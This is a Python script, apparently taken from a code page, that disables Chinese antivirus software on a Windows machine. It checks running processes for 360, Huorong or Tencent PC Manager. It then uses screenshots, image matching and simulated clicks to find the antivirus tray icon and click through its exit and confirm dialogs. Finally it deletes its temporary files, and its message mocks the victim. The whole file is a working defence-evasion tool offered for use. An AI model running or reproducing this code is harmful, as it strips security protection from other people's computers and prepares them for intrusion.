1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113
| if os.path.exists("c:\\temp"): pass else: os.mkdir("c:\\temp") base_temp_path = 'c:\\temp\\' logoutImage = base_temp_path + r'lougoutFromB64.png' comfireImage = base_temp_path + r'comfireFromB64.png' logoImage = base_temp_path + r'logoFromB64.png' screen_before = base_temp_path + r'before.png' screen_logout = base_temp_path + r'logout.png' screen_comfire = base_temp_path + r'comfire.png'
av_process = {'txgj': ['QQPCTray.exe', icon_txgj, '腾讯管家'], 'hr': ['HipsTray.exe', icon_hr, '火绒'], '360': ['360sd.exe', icon_360, '360'], '360Tray': ['360Tray.exe', icon_360Tray, '360Tray'],}
tasklist = os.popen('wmic process get name').read().split() for av_exe in av_process.values(): if av_exe[0] in tasklist: AV = [k for k, v in av_process.items() if v[0] == av_exe[0]][0]
AV_Name = av_process[AV][2]
processPath = os.popen(r'''wmic process where "name='{}'" get ExecutablePath'''.format(av_process[AV][0])).read().split('\n\n')[1] print(processPath)
def get_logo(): try: logo_b64 = b64_AV_logo[AV] logo_img = base64.b64decode(logo_b64) with open(logoImage, 'wb') as f: f.write(logo_img) if AV == r'360Tray': with open(logoutImage, 'wb') as f: f.write(base64.b64decode(b64_360logout)) else: with open(logoutImage, 'wb') as f: f.write(base64.b64decode(b64_logout)) if AV == r'hr': return b64_logout elif AV == r'360': return b64_blue_comfirm elif AV == r'txgj': return b64_white_comfirm else: return b64_360logout2 except e: print(e) print('主人,这家伙没开杀毒软件!!!!干他๑乛◡乛๑ ') exit()
def press_keys(*args): pyautogui.hotkey(args[0], args[1]) sleep(0.2) pyautogui.press(args[2])
def get_screen(screenName): pyautogui.screenshot(screenName)
def get_position(imgSource, imgTarget): source = cv2.imread(imgSource, 0) target = cv2.imread(imgTarget, 0) wight, height = target.shape[::-1] res = cv2.matchTemplate(source, target, cv2.TM_CCOEFF_NORMED) min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(res) pos_x = int(max_loc[0] + wight / 2) pos_y = int(max_loc[1] + height / 2) print(pos_x, pos_y) return pos_x, pos_y
def killav(): logout_last = get_logo() with open(comfireImage, 'wb') as f: f.write(base64.b64decode(logout_last))
sleep(1) press_keys('win', 'b', 'enter') get_screen(screen_before) sleep(1) pyautogui.rightClick(get_position(screen_before, logoImage))
get_screen(screen_logout) sleep(1) pyautogui.click(get_position(screen_logout, logoutImage)) sleep(0.5)
get_screen(screen_comfire) sleep(1) pyautogui.click(get_position(screen_comfire, comfireImage))
def clean():
os.popen(r'del /q {} {} {} {} {} {} '.format(logoutImage, logoImage, comfireImage, screen_before, screen_logout, screen_comfire))
def main(): killav() clean()
if __name__ == '__main__': main()
|